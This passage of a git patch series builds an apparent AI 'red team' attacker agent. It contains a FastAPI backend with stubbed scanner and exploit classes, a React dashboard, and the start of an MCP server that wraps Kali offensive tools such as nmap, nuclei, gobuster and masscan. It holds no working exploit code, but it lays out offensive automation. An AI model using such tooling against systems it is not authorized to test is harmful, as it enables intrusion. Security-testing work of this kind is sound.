HTTP/WS layer and the Red agent's domain modules. + +This module is intentionally the *only* place the backend talks to the +underlying scanner/exploiter/strategy packages, so the agent core stays +decoupled from the FastAPI surface. +""" + +from __future__ import annotations + +import uuid +from collections import deque +from datetime import datetime +from typing import Any, Deque + +from red_agent.backend.schemas.red_schemas import ( + CVELookupRequest, + CVELookupResult, + ExploitRequest, + ExploitResult, + LogEntry, + ScanRequest, + ScanResult, + StrategyPlan, + StrategyRequest, + ToolCall, + ToolStatus, +) +from red_agent.exploiter.cve_exploiter import CVEExploiter +from red_agent.exploiter.exploit_engine import ExploitEngine +from red_agent.scanner.cloud_scanner import CloudScanner +from red_agent.scanner.network_scanner import NetworkScanner +from red_agent.scanner.system_scanner import SystemScanner +from red_agent.scanner.web_scanner import WebScanner +from red_agent.strategy.attack_evolver import AttackEvolver +from red_agent.strategy.attack_planner import AttackPlanner + +_TOOL_HISTORY: Deque[ToolCall] = deque(maxlen=200) +_LOG_HISTORY: Deque[LogEntry] = deque(maxlen=500) + +_network_scanner = NetworkScanner() +_web_scanner = WebScanner() +_system_scanner = SystemScanner() +_cloud_scanner = CloudScanner() +_exploit_engine = ExploitEngine() +_cve_exploiter = CVEExploiter() +_attack_planner = AttackPlanner() +_attack_evolver = AttackEvolver() + + +def _new_tool_call(name: str, category: str, params: dict[str, Any]) -> ToolCall: + return ToolCall( + id=str(uuid.uuid4()), + name=name, + category=category, + status=ToolStatus.RUNNING, + params=params, + ) + + +def _finish(call: ToolCall, result: dict[str, Any], status: ToolStatus = ToolStatus.DONE) -> ToolCall: + call.status = status + call.result = result + call.finished_at = datetime.utcnow() + _TOOL_HISTORY.append(call) + _LOG_HISTORY.append( + LogEntry( + level="INFO" if status is ToolStatus.DONE else "ERROR", + message=f"{call.name} -> {status.value}", + tool_id=call.id, + ) + ) + return call + + +async def run_network_scan(request: ScanRequest) -> ScanResult: + call = _new_tool_call("nmap_scan", "scan", request.model_dump()) + # TODO: invoke _network_scanner against request.target + open_ports = request.ports or [22, 80, 443] + result = ScanResult( + tool_call=_finish(call, {"open_ports": open_ports}), + open_ports=open_ports, + services={22: "ssh", 80: "http", 443: "https"}, + findings=[f"target {request.target} reachable"], + ) + return result + + +async def run_web_scan(request: ScanRequest) -> ScanResult: + call = _new_tool_call("web_scan", "scan", request.model_dump()) + return ScanResult(tool_call=_finish(call, {"target": request.target})) + + +async def run_system_scan(request: ScanRequest) -> ScanResult: + call = _new_tool_call("system_scan", "scan", request.model_dump()) + return ScanResult(tool_call=_finish(call, {"target": request.target})) + + +async def run_cloud_scan(request: ScanRequest) -> ScanResult: + call = _new_tool_call("cloud_scan", "scan", request.model_dump()) + return ScanResult(tool_call=_finish(call, {"target": request.target})) + + +async def lookup_cve(request: CVELookupRequest) -> CVELookupResult: + call = _new_tool_call("lookup_cve", "exploit", request.model_dump()) + cve_ids: list[str] = [] # TODO: query CVE feed via core.cve_feed.CVEFeed + return CVELookupResult(tool_call=_finish(call, {"cve_ids": cve_ids}), cve_ids=cve_ids) + + +async def run_exploit(request: ExploitRequest) -> ExploitResult: + call = _new_tool_call("run_exploit", "exploit", request.model_dump()) + return ExploitResult(tool_call=_finish(call, {"success": False})) + + +async def run_cve_exploit(request: ExploitRequest) -> ExploitResult: + call = _new_tool_call("cve_exploit", "exploit", request.model_dump()) + return ExploitResult(tool_call=_finish(call, {"cve": request.cve_id})) + + +async def plan_attack(request: StrategyRequest) -> StrategyPlan: + call = _new_tool_call("plan_attack", "strategy", request.model_dump()) + steps = ["recon", "exploit", "persist"] + return StrategyPlan(tool_call=_finish(call, {"steps": steps}), steps=steps) + + +async def evolve_strategy(request: StrategyRequest) -> StrategyPlan: + call = _new_tool_call("evolve_strategy", "strategy", request.model_dump()) + return StrategyPlan(tool_call=_finish(call, {}), steps=[]) + + +async def current_strategy() -> StrategyPlan: + call = _new_tool_call("current_strategy", "strategy", {}) + return StrategyPlan(tool_call=_finish(call, {}), steps=[]) + + +async def recent_tool_calls(category: str | None = None, limit: int = 20) -> list[ToolCall]: + items = list(_TOOL_HISTORY) + if category: + items = [c for c in items if c.category == category] + return items[-limit:] + + +async def recent_logs(limit: int = 100) -> list[LogEntry]: + return list(_LOG_HISTORY)[-limit:] diff --git a/red_agent/backend/websocket/__init__.py b/red_agent/backend/websocket/__init__.py new file mode 100644 index 000000000..3d1c96482 --- /dev/null +++ b/red_agent/backend/websocket/__init__.py @@ -0,0 +1 @@ +"""WebSocket endpoints for the Red Agent.""" diff --git a/red_agent/backend/websocket/red_ws.py b/red_agent/backend/websocket/red_ws.py new file mode 100644 index 000000000..5f6189555 --- /dev/null +++ b/red_agent/backend/websocket/red_ws.py @@ -0,0 +1,68 @@ +"""Live log + tool-call WebSocket stream for the Red dashboard.""" + +from __future__ import annotations + +import asyncio +from typing import Set + +from fastapi import APIRouter, WebSocket, WebSocketDisconnect + +from red_agent.backend.services import red_service + +router = APIRouter() + + +class RedConnectionManager: + def __init__(self) -> None: + self._connections: Set[WebSocket] = set() + self._lock = asyncio.Lock() + + async def connect(self, ws: WebSocket) -> None: + await ws.accept() + async with self._lock: + self._connections.add(ws) + + async def disconnect(self, ws: WebSocket) -> None: + async with self._lock: + self._connections.discard(ws) + + async def broadcast(self, payload: dict) -> None: + async with self._lock: + stale: list[WebSocket] = [] + for ws in self._connections: + try: + await ws.send_json(payload) + except Exception: + stale.append(ws) + for ws in stale: + self._connections.discard(ws) + + +manager = RedConnectionManager() + + +@router.websocket("/ws/red") +async def red_log_stream(ws: WebSocket) -> None: + """Streams `{type, payload}` envelopes to the Red dashboard. + + Envelope types: + - `log` : a LogEntry + - `tool_call` : a ToolCall snapshot + - `heartbeat` : keepalive ping + """ + await manager.connect(ws) + try: + # Replay recent state on connect so the UI can hydrate immediately. + for call in await red_service.recent_tool_calls(limit=20): + await ws.send_json({"type": "tool_call", "payload": call.model_dump(mode="json")}) + for entry in await red_service.recent_logs(limit=50): + await ws.send_json({"type": "log", "payload": entry.model_dump(mode="json")}) + + while True: + await asyncio.sleep(15) + await ws.send_json({"type": "heartbeat", "payload": {}}) + except WebSocketDisconnect: + await manager.disconnect(ws) + except Exception: + await manager.disconnect(ws) + raise diff --git a/red_agent/exploiter/__init__.py b/red_agent/exploiter/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/red_agent/exploiter/cve_exploiter.py b/red_agent/exploiter/cve_exploiter.py new file mode 100644 index 000000000..25ae028c8 --- /dev/null +++ b/red_agent/exploiter/cve_exploiter.py @@ -0,0 +1,5 @@ +"""CVE-driven exploit selection and launch.""" + + +class CVEExploiter: + pass diff --git a/red_agent/exploiter/exploit_engine.py b/red_agent/exploiter/exploit_engine.py new file mode 100644 index 000000000..e7a9a8a76 --- /dev/null +++ b/red_agent/exploiter/exploit_engine.py @@ -0,0 +1,5 @@ +"""Generic exploit execution engine.""" + + +class ExploitEngine: + pass diff --git a/red_agent/frontend/Dockerfile b/red_agent/frontend/Dockerfile new file mode 100644 index 000000000..284e7eddf --- /dev/null +++ b/red_agent/frontend/Dockerfile @@ -0,0 +1,34 @@ +# syntax=docker/dockerfile:1.6 +# Red Agent Frontend β€” Vite + React, served via Nginx on port 3001 +# +# Multi-stage build: +# 1. `build` stage compiles the Vite app with Node 20 alpine. +# 2. `production` stage serves the static output via Nginx. +# +# In docker-compose the `build` stage is reused with `target: build` +# to run the Vite dev server with hot reload. + +# ---------- Stage 1: build ---------- +FROM node:20-alpine AS build + +WORKDIR /app + +COPY package*.json ./ +RUN npm install + +COPY . . + +RUN npm run build + +# ---------- Stage 2: production ---------- +FROM nginx:alpine AS production + +# Remove the default nginx site and drop in the Red config (listens on 3001). +RUN rm -f /etc/nginx/conf.d/default.conf +COPY nginx.conf /etc/nginx/conf.d/default.conf + +COPY --from=build /app/dist /usr/share/nginx/html + +EXPOSE 3001 + +CMD ["nginx", "-g", "daemon off;"] diff --git a/red_agent/frontend/index.html b/red_agent/frontend/index.html new file mode 100644 index 000000000..df581eae7 --- /dev/null +++ b/red_agent/frontend/index.html @@ -0,0 +1,12 @@ + + + + + + HTF :: Red Team + + +
+ + + diff --git a/red_agent/frontend/nginx.conf b/red_agent/frontend/nginx.conf new file mode 100644 index 000000000..aedfde699 --- /dev/null +++ b/red_agent/frontend/nginx.conf @@ -0,0 +1,29 @@ +server { + listen 3001; + server_name _; + + root /usr/share/nginx/html; + index index.html; + + # Client-side routing (React/Vite SPA) β€” fall back to index.html. + location / { + try_files $uri $uri/ /index.html; + } + + # Proxy REST traffic to the Red backend. + location /api/ { + proxy_pass http://red-backend:8001/; + proxy_set_header Host $host; + proxy_set_header X-Real-IP $remote_addr; + } + + # Proxy the live-log WebSocket to the Red backend. + location /ws/ { + proxy_pass http://red-backend:8001; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + proxy_read_timeout 3600s; + } +} diff --git a/red_agent/frontend/package.json b/red_agent/frontend/package.json new file mode 100644 index 000000000..91aec1915 --- /dev/null +++ b/red_agent/frontend/package.json @@ -0,0 +1,24 @@ +{ + "name": "htf-red-frontend", + "private": true, + "version": "0.1.0", + "type": "module", + "scripts": { + "dev": "vite --port 5173", + "build": "tsc -b && vite build", + "preview": "vite preview --port 5173", + "lint": "tsc --noEmit" + }, + "dependencies": { + "axios": "^1.7.7", + "react": "^18.3.1", + "react-dom": "^18.3.1" + }, + "devDependencies": { + "@types/react": "^18.3.11", + "@types/react-dom": "^18.3.0", + "@vitejs/plugin-react": "^4.3.2", + "typescript": "^5.6.2", + "vite": "^5.4.8" + } +} diff --git a/red_agent/frontend/public/.gitkeep b/red_agent/frontend/public/.gitkeep new file mode 100644 index 000000000..e69de29bb diff --git a/red_agent/frontend/src/App.tsx b/red_agent/frontend/src/App.tsx new file mode 100644 index 000000000..dbd06c970 --- /dev/null +++ b/red_agent/frontend/src/App.tsx @@ -0,0 +1,5 @@ +import { RedDashboard } from "@/pages/RedDashboard"; + +export default function App() { + return ; +} diff --git a/red_agent/frontend/src/api/redApi.ts b/red_agent/frontend/src/api/redApi.ts new file mode 100644 index 000000000..a35142c58 --- /dev/null +++ b/red_agent/frontend/src/api/redApi.ts @@ -0,0 +1,40 @@ +import axios from "axios"; +import type { ScanRequest, ToolCall } from "@/types/red.types"; + +const RED_BASE_URL = + import.meta.env.VITE_RED_API_URL ?? "http://localhost:8001"; + +const client = axios.create({ + baseURL: RED_BASE_URL, + timeout: 15_000, +}); + +export const redApi = { + health: () => client.get<{ status: string; agent: string }>("/health"), + + scanNetwork: (req: ScanRequest) => + client.post("/scan/network", req).then((r) => r.data), + scanWeb: (req: ScanRequest) => + client.post("/scan/web", req).then((r) => r.data), + scanSystem: (req: ScanRequest) => + client.post("/scan/system", req).then((r) => r.data), + scanCloud: (req: ScanRequest) => + client.post("/scan/cloud", req).then((r) => r.data), + + recentScans: (limit = 20) => + client + .get("/scan/recent", { params: { limit } }) + .then((r) => r.data), + + lookupCve: (service: string, version?: string) => + client.post("/exploit/lookup_cve", { service, version }).then((r) => r.data), + + runExploit: (target: string, cve_id?: string) => + client.post("/exploit/run", { target, cve_id }).then((r) => r.data), + + planAttack: (target: string, intel: Record = {}) => + client.post("/strategy/plan", { target, intel }).then((r) => r.data), + + currentStrategy: () => + client.get("/strategy/current").then((r) => r.data), +}; diff --git a/red_agent/frontend/src/components/ActivityPanel.tsx b/red_agent/frontend/src/components/ActivityPanel.tsx new file mode 100644 index 000000000..d90c435a1 --- /dev/null +++ b/red_agent/frontend/src/components/ActivityPanel.tsx @@ -0,0 +1,51 @@ +import type { ToolCall } from "@/types/red.types"; +import { ToolCard } from "./ToolCard"; + +interface ActivityPanelProps { + toolCalls: ToolCall[]; + limit?: number; + accent?: string; +} + +export function ActivityPanel({ + toolCalls, + limit = 10, + accent = "#f85149", +}: ActivityPanelProps) { + const recent = [...toolCalls].slice(-limit).reverse(); + + return ( +
+
+

+ CURRENT ACTIVITY +

+ + {recent.length} tool calls + +
+ {recent.length === 0 ? ( +

No activity yet.

+ ) : ( + recent.map((call) => ) + )} +
+ ); +} diff --git a/red_agent/frontend/src/components/ChatButton.tsx b/red_agent/frontend/src/components/ChatButton.tsx new file mode 100644 index 000000000..95d6fd2b2 --- /dev/null +++ b/red_agent/frontend/src/components/ChatButton.tsx @@ -0,0 +1,29 @@ +interface ChatButtonProps { + accent?: string; + onClick?: () => void; +} + +export function ChatButton({ accent = "#f85149", onClick }: ChatButtonProps) { + return ( + + ); +} diff --git a/red_agent/frontend/src/components/LogStream.tsx b/red_agent/frontend/src/components/LogStream.tsx new file mode 100644 index 000000000..f1de29ea2 --- /dev/null +++ b/red_agent/frontend/src/components/LogStream.tsx @@ -0,0 +1,78 @@ +import { useEffect, useRef } from "react"; +import type { LogEntry } from "@/types/red.types"; + +interface LogStreamProps { + logs: LogEntry[]; + accent?: string; +} + +function formatTime(ts: string): string { + const d = new Date(ts); + const hh = String(d.getHours()).padStart(2, "0"); + const mm = String(d.getMinutes()).padStart(2, "0"); + const ss = String(d.getSeconds()).padStart(2, "0"); + return `${hh}:${mm}:${ss}`; +} + +const LEVEL_COLORS: Record = { + INFO: "#7ee787", + WARN: "#d29922", + ERROR: "#f85149", +}; + +export function LogStream({ logs, accent = "#f85149" }: LogStreamProps) { + const bottomRef = useRef(null); + + useEffect(() => { + bottomRef.current?.scrollIntoView({ behavior: "smooth" }); + }, [logs]); + + return ( +
+
+

+ LIVE LOGS +

+ {logs.length} lines +
+
+ {logs.map((line, i) => ( +
+ [{formatTime(line.timestamp)}] + + {line.level} + + {line.message} +
+ ))} +
+
+
+ ); +} diff --git a/red_agent/frontend/src/components/ToolCard.tsx b/red_agent/frontend/src/components/ToolCard.tsx new file mode 100644 index 000000000..4c2f528d6 --- /dev/null +++ b/red_agent/frontend/src/components/ToolCard.tsx @@ -0,0 +1,70 @@ +import type { CSSProperties } from "react"; +import type { ToolCall, ToolStatus } from "@/types/red.types"; + +interface ToolCardProps { + tool: ToolCall; + accent?: string; +} + +const STATUS_COLORS: Record = { + DONE: "#3fb950", + RUNNING: "#d29922", + PENDING: "#8b949e", + FAILED: "#f85149", +}; + +export function ToolCard({ tool, accent = "#f85149" }: ToolCardProps) { + const badgeStyle: CSSProperties = { + background: STATUS_COLORS[tool.status] ?? "#8b949e", + color: "#0d1117", + fontWeight: 700, + fontSize: 11, + padding: "2px 8px", + borderRadius: 4, + letterSpacing: 0.5, + }; + + return ( +
+
+ {tool.name} + {tool.status} +
+
+        {JSON.stringify(tool.params, null, 2)}
+      
+ {tool.result && ( +
+          β†’ {JSON.stringify(tool.result)}
+        
+ )} +
+ ); +} diff --git a/red_agent/frontend/src/hooks/useRedWebSocket.ts b/red_agent/frontend/src/hooks/useRedWebSocket.ts new file mode 100644 index 000000000..7b07f9431 --- /dev/null +++ b/red_agent/frontend/src/hooks/useRedWebSocket.ts @@ -0,0 +1,65 @@ +import { useEffect, useRef, useState } from "react"; +import type { LogEntry, ToolCall, WsEnvelope } from "@/types/red.types"; + +const RED_WS_URL = + import.meta.env.VITE_RED_WS_URL ?? "ws://localhost:8001/ws/red"; + +interface RedWsState { + connected: boolean; + toolCalls: ToolCall[]; + logs: LogEntry[]; +} + +const MAX_TOOL_CALLS = 50; +const MAX_LOGS = 200; + +export function useRedWebSocket(): RedWsState { + const [connected, setConnected] = useState(false); + const [toolCalls, setToolCalls] = useState([]); + const [logs, setLogs] = useState([]); + const wsRef = useRef(null); + const reconnectTimer = useRef(null); + + useEffect(() => { + let cancelled = false; + + const connect = () => { + const ws = new WebSocket(RED_WS_URL); + wsRef.current = ws; + + ws.onopen = () => setConnected(true); + ws.onclose = () => { + setConnected(false); + if (!cancelled) { + reconnectTimer.current = window.setTimeout(connect, 2_000); + } + }; + ws.onerror = () => ws.close(); + ws.onmessage = (event) => { + try { + const env = JSON.parse(event.data) as WsEnvelope; + if (env.type === "tool_call") { + setToolCalls((prev) => { + const next = prev.filter((t) => t.id !== env.payload.id); + next.push(env.payload); + return next.slice(-MAX_TOOL_CALLS); + }); + } else if (env.type === "log") { + setLogs((prev) => [...prev, env.payload].slice(-MAX_LOGS)); + } + } catch (err) { + console.error("[red ws] bad payload", err); + } + }; + }; + + connect(); + return () => { + cancelled = true; + if (reconnectTimer.current) window.clearTimeout(reconnectTimer.current); + wsRef.current?.close(); + }; + }, []); + + return { connected, toolCalls, logs }; +} diff --git a/red_agent/frontend/src/main.tsx b/red_agent/frontend/src/main.tsx new file mode 100644 index 000000000..385492962 --- /dev/null +++ b/red_agent/frontend/src/main.tsx @@ -0,0 +1,9 @@ +import React from "react"; +import ReactDOM from "react-dom/client"; +import App from "./App"; + +ReactDOM.createRoot(document.getElementById("root")!).render( + + + , +); diff --git a/red_agent/frontend/src/pages/RedDashboard.tsx b/red_agent/frontend/src/pages/RedDashboard.tsx new file mode 100644 index 000000000..c9349e7d7 --- /dev/null +++ b/red_agent/frontend/src/pages/RedDashboard.tsx @@ -0,0 +1,101 @@ +import { useState } from "react"; +import { ActivityPanel } from "@/components/ActivityPanel"; +import { ChatButton } from "@/components/ChatButton"; +import { LogStream } from "@/components/LogStream"; +import { useRedWebSocket } from "@/hooks/useRedWebSocket"; +import { redApi } from "@/api/redApi"; + +const ACCENT = "#f85149"; + +export function RedDashboard() { + const { connected, toolCalls, logs } = useRedWebSocket(); + const [target, setTarget] = useState("192.168.1.100"); + const [busy, setBusy] = useState(false); + + const handleScan = async () => { + setBusy(true); + try { + await redApi.scanNetwork({ target }); + } finally { + setBusy(false); + } + }; + + return ( +
+
+
+

+ πŸ”΄ RED TEAM // ATTACKER +

+

+ target: {target} Β· ws:{" "} + + {connected ? "connected" : "disconnected"} + +

+
+
+ setTarget(e.target.value)} + style={{ + background: "#161b22", + border: `1px solid ${ACCENT}55`, + color: "#f0f6fc", + padding: "8px 10px", + borderRadius: 4, + fontFamily: "inherit", + }} + /> + +
+
+ +
+ + +
+ + +
+ ); +} diff --git a/red_agent/frontend/src/types/red.types.ts b/red_agent/frontend/src/types/red.types.ts new file mode 100644 index 000000000..11745c473 --- /dev/null +++ b/red_agent/frontend/src/types/red.types.ts @@ -0,0 +1,30 @@ +export type ToolStatus = "PENDING" | "RUNNING" | "DONE" | "FAILED"; + +export interface ToolCall { + id: string; + name: string; + category: "scan" | "exploit" | "strategy" | string; + status: ToolStatus; + params: Record; + result: Record | null; + started_at: string; + finished_at: string | null; +} + +export interface LogEntry { + timestamp: string; + level: "INFO" | "WARN" | "ERROR" | string; + message: string; + tool_id: string | null; +} + +export type WsEnvelope = + | { type: "tool_call"; payload: ToolCall } + | { type: "log"; payload: LogEntry } + | { type: "heartbeat"; payload: Record }; + +export interface ScanRequest { + target: string; + ports?: number[]; + options?: Record; +} diff --git a/red_agent/frontend/src/vite-env.d.ts b/red_agent/frontend/src/vite-env.d.ts new file mode 100644 index 000000000..e2355a594 --- /dev/null +++ b/red_agent/frontend/src/vite-env.d.ts @@ -0,0 +1,10 @@ +/// + +interface ImportMetaEnv { + readonly VITE_RED_API_URL?: string; + readonly VITE_RED_WS_URL?: string; +} + +interface ImportMeta { + readonly env: ImportMetaEnv; +} diff --git a/red_agent/frontend/tsconfig.json b/red_agent/frontend/tsconfig.json new file mode 100644 index 000000000..d4126db6a --- /dev/null +++ b/red_agent/frontend/tsconfig.json @@ -0,0 +1,24 @@ +{ + "compilerOptions": { + "target": "ES2022", + "useDefineForClassFields": true, + "lib": ["ES2022", "DOM", "DOM.Iterable"], + "module": "ESNext", + "skipLibCheck": true, + "moduleResolution": "bundler", + "allowImportingTsExtensions": true, + "resolveJsonModule": true, + "isolatedModules": true, + "noEmit": true, + "jsx": "react-jsx", + "strict": true, + "noUnusedLocals": true, + "noUnusedParameters": true, + "noFallthroughCasesInSwitch": true, + "baseUrl": ".", + "paths": { + "@/*": ["src/*"] + } + }, + "include": ["src"] +} diff --git a/red_agent/frontend/vite.config.ts b/red_agent/frontend/vite.config.ts new file mode 100644 index 000000000..86227628f --- /dev/null +++ b/red_agent/frontend/vite.config.ts @@ -0,0 +1,26 @@ +import path from "node:path"; +import { defineConfig } from "vite"; +import react from "@vitejs/plugin-react"; + +export default defineConfig({ + plugins: [react()], + server: { + port: 5173, + proxy: { + "/api": { + target: "http://localhost:8001", + changeOrigin: true, + rewrite: (p) => p.replace(/^\/api/, ""), + }, + "/ws": { + target: "ws://localhost:8001", + ws: true, + }, + }, + }, + resolve: { + alias: { + "@": path.resolve(__dirname, "./src"), + }, + }, +}); diff --git a/red_agent/misconfig/__init__.py b/red_agent/misconfig/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/red_agent/misconfig/misconfig_detector.py b/red_agent/misconfig/misconfig_detector.py new file mode 100644 index 000000000..3fc012566 --- /dev/null +++ b/red_agent/misconfig/misconfig_detector.py @@ -0,0 +1,5 @@ +"""Detects misconfigurations across services.""" + + +class MisconfigDetector: + pass diff --git a/red_agent/red_controller.py b/red_agent/red_controller.py new file mode 100644 index 000000000..5ebe49513 --- /dev/null +++ b/red_agent/red_controller.py @@ -0,0 +1,5 @@ +"""Top-level controller orchestrating the red agent.""" + + +class RedController: + pass diff --git a/red_agent/scanner/__init__.py b/red_agent/scanner/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/red_agent/scanner/cloud_scanner.py b/red_agent/scanner/cloud_scanner.py new file mode 100644 index 000000000..ad49c87cf --- /dev/null +++ b/red_agent/scanner/cloud_scanner.py @@ -0,0 +1,5 @@ +"""Cloud environment scanner.""" + + +class CloudScanner: + pass diff --git a/red_agent/scanner/network_scanner.py b/red_agent/scanner/network_scanner.py new file mode 100644 index 000000000..b554a7aa8 --- /dev/null +++ b/red_agent/scanner/network_scanner.py @@ -0,0 +1,5 @@ +"""Network port and service scanner.""" + + +class NetworkScanner: + pass diff --git a/red_agent/scanner/system_scanner.py b/red_agent/scanner/system_scanner.py new file mode 100644 index 000000000..08128841e --- /dev/null +++ b/red_agent/scanner/system_scanner.py @@ -0,0 +1,5 @@ +"""Host/system level scanner.""" + + +class SystemScanner: + pass diff --git a/red_agent/scanner/web_scanner.py b/red_agent/scanner/web_scanner.py new file mode 100644 index 000000000..a35b9c3d7 --- /dev/null +++ b/red_agent/scanner/web_scanner.py @@ -0,0 +1,5 @@ +"""Web application scanner.""" + + +class WebScanner: + pass diff --git a/red_agent/strategy/__init__.py b/red_agent/strategy/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/red_agent/strategy/attack_evolver.py b/red_agent/strategy/attack_evolver.py new file mode 100644 index 000000000..fad7b70a3 --- /dev/null +++ b/red_agent/strategy/attack_evolver.py @@ -0,0 +1,5 @@ +"""Evolves attack strategies in response to defensive feedback.""" + + +class AttackEvolver: + pass diff --git a/red_agent/strategy/attack_planner.py b/red_agent/strategy/attack_planner.py new file mode 100644 index 000000000..9de28514e --- /dev/null +++ b/red_agent/strategy/attack_planner.py @@ -0,0 +1,5 @@ +"""Plans attack chains based on collected intel.""" + + +class AttackPlanner: + pass diff --git a/requirements.txt b/requirements.txt new file mode 100644 index 000000000..efe0993c5 --- /dev/null +++ b/requirements.txt @@ -0,0 +1,8 @@ +fastapi==0.115.0 +uvicorn[standard]==0.30.6 +pydantic==2.9.2 +pydantic-settings==2.5.2 +python-dotenv==1.0.1 +httpx==0.27.2 +websockets==13.1 +loguru==0.7.2 diff --git a/shared/__init__.py b/shared/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/shared/logger.py b/shared/logger.py new file mode 100644 index 000000000..112253674 --- /dev/null +++ b/shared/logger.py @@ -0,0 +1 @@ +"""Centralized logging configuration.""" diff --git a/shared/models.py b/shared/models.py new file mode 100644 index 000000000..56f220a83 --- /dev/null +++ b/shared/models.py @@ -0,0 +1 @@ +"""Data models shared by red and blue teams.""" diff --git a/shared/utils.py b/shared/utils.py new file mode 100644 index 000000000..7c32c78fa --- /dev/null +++ b/shared/utils.py @@ -0,0 +1 @@ +"""Shared helper utilities.""" diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/tests/test_blue/__init__.py b/tests/test_blue/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/tests/test_red/__init__.py b/tests/test_red/__init__.py new file mode 100644 index 000000000..e69de29bb From f9e2e1db38f6f3a39687334d7f85a7771b740f36 Mon Sep 17 00:00:00 2001 From: RaghunandhanG Date: Wed, 15 Apr 2026 22:42:04 +0530 Subject: [PATCH 02/26] feat(red_agent): add kali_mcp_server for offensive tool access MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Thin FastMCP passthrough over Kali binaries (nmap, httpx, katana, nuclei, gobuster, arjun, x8, rustscan, masscan, smbmap, etc.) plus three parallel fan-out workflows: web_reconnaissance, api_testing, network_discovery. Every tool call spawns an independent subprocess with no semaphore gating; long scans return a job_id immediately via an in-memory job registry so the MCP SSE session never blocks. Results are raw parsed dicts β€” no summarization β€” the agent owns decision-making. Deploys to /opt/kali-mcp on the Kali VM via install.sh + systemd unit. Co-Authored-By: Claude Opus 4.6 (1M context) --- red_agent/kali_mcp_server/__init__.py | 3 + red_agent/kali_mcp_server/config.py | 83 ++++ red_agent/kali_mcp_server/install.sh | 62 +++ red_agent/kali_mcp_server/jobs.py | 157 ++++++++ red_agent/kali_mcp_server/parsers.py | 343 ++++++++++++++++ red_agent/kali_mcp_server/requirements.txt | 5 + red_agent/kali_mcp_server/runner.py | 118 ++++++ red_agent/kali_mcp_server/server.py | 377 ++++++++++++++++++ .../kali_mcp_server/systemd/kali-mcp.service | 20 + red_agent/kali_mcp_server/tools/__init__.py | 1 + red_agent/kali_mcp_server/tools/api.py | 123 ++++++ red_agent/kali_mcp_server/tools/network.py | 135 +++++++ red_agent/kali_mcp_server/tools/recon.py | 122 ++++++ red_agent/kali_mcp_server/workflows.py | 122 ++++++ 14 files changed, 1671 insertions(+) create mode 100644 red_agent/kali_mcp_server/__init__.py create mode 100644 red_agent/kali_mcp_server/config.py create mode 100644 red_agent/kali_mcp_server/install.sh create mode 100644 red_agent/kali_mcp_server/jobs.py create mode 100644 red_agent/kali_mcp_server/parsers.py create mode 100644 red_agent/kali_mcp_server/requirements.txt create mode 100644 red_agent/kali_mcp_server/runner.py create mode 100644 red_agent/kali_mcp_server/server.py create mode 100644 red_agent/kali_mcp_server/systemd/kali-mcp.service create mode 100644 red_agent/kali_mcp_server/tools/__init__.py create mode 100644 red_agent/kali_mcp_server/tools/api.py create mode 100644 red_agent/kali_mcp_server/tools/network.py create mode 100644 red_agent/kali_mcp_server/tools/recon.py create mode 100644 red_agent/kali_mcp_server/workflows.py diff --git a/red_agent/kali_mcp_server/__init__.py b/red_agent/kali_mcp_server/__init__.py new file mode 100644 index 000000000..5df14901d --- /dev/null +++ b/red_agent/kali_mcp_server/__init__.py @@ -0,0 +1,3 @@ +"""Kali MCP Server β€” thin parallel passthrough over Kali offensive tools.""" + +__version__ = "0.1.0" diff --git a/red_agent/kali_mcp_server/config.py b/red_agent/kali_mcp_server/config.py new file mode 100644 index 000000000..c3af467d4 --- /dev/null +++ b/red_agent/kali_mcp_server/config.py @@ -0,0 +1,83 @@ +"""Static configuration: binary paths, default flags, workflow registry.""" + +from __future__ import annotations + +import os +import shutil +from dataclasses import dataclass, field + +HOST = os.environ.get("KALI_MCP_HOST", "0.0.0.0") +PORT = int(os.environ.get("KALI_MCP_PORT", "8765")) +LOG_DIR = os.environ.get("KALI_MCP_LOG_DIR", "/var/log/kali-mcp") + +DEFAULT_TIMEOUT = 600 +LONG_TIMEOUT = 1800 +JOB_RETENTION_S = 3600 + + +@dataclass +class ToolSpec: + name: str + binary: str + default_timeout: int = DEFAULT_TIMEOUT + extra_paths: list[str] = field(default_factory=list) + + def resolve(self) -> str | None: + path = shutil.which(self.binary) + if path: + return path + for candidate in self.extra_paths: + if os.path.isfile(candidate) and os.access(candidate, os.X_OK): + return candidate + return None + + @property + def installed(self) -> bool: + return self.resolve() is not None + + +GO_BIN = os.path.expanduser("~/go/bin") +CARGO_BIN = os.path.expanduser("~/.cargo/bin") + +TOOLS: dict[str, ToolSpec] = { + "nmap": ToolSpec("nmap", "nmap", LONG_TIMEOUT), + "httpx": ToolSpec("httpx", "httpx", DEFAULT_TIMEOUT, [f"{GO_BIN}/httpx"]), + "katana": ToolSpec("katana", "katana", LONG_TIMEOUT, [f"{GO_BIN}/katana"]), + "gau": ToolSpec("gau", "gau", DEFAULT_TIMEOUT, [f"{GO_BIN}/gau"]), + "waybackurls": ToolSpec("waybackurls", "waybackurls", DEFAULT_TIMEOUT, [f"{GO_BIN}/waybackurls"]), + "nuclei": ToolSpec("nuclei", "nuclei", LONG_TIMEOUT, [f"{GO_BIN}/nuclei"]), + "dirsearch": ToolSpec("dirsearch", "dirsearch", LONG_TIMEOUT), + "gobuster": ToolSpec("gobuster", "gobuster", LONG_TIMEOUT), + "arjun": ToolSpec("arjun", "arjun", DEFAULT_TIMEOUT), + "x8": ToolSpec("x8", "x8", DEFAULT_TIMEOUT, [f"{CARGO_BIN}/x8"]), + "paramspider": ToolSpec("paramspider", "paramspider", DEFAULT_TIMEOUT), + "ffuf": ToolSpec("ffuf", "ffuf", LONG_TIMEOUT), + "arp-scan": ToolSpec("arp-scan", "arp-scan", DEFAULT_TIMEOUT), + "rustscan": ToolSpec("rustscan", "rustscan", LONG_TIMEOUT, [f"{CARGO_BIN}/rustscan"]), + "masscan": ToolSpec("masscan", "masscan", LONG_TIMEOUT), + "enum4linux-ng": ToolSpec("enum4linux-ng", "enum4linux-ng", LONG_TIMEOUT), + "nbtscan": ToolSpec("nbtscan", "nbtscan", DEFAULT_TIMEOUT), + "smbmap": 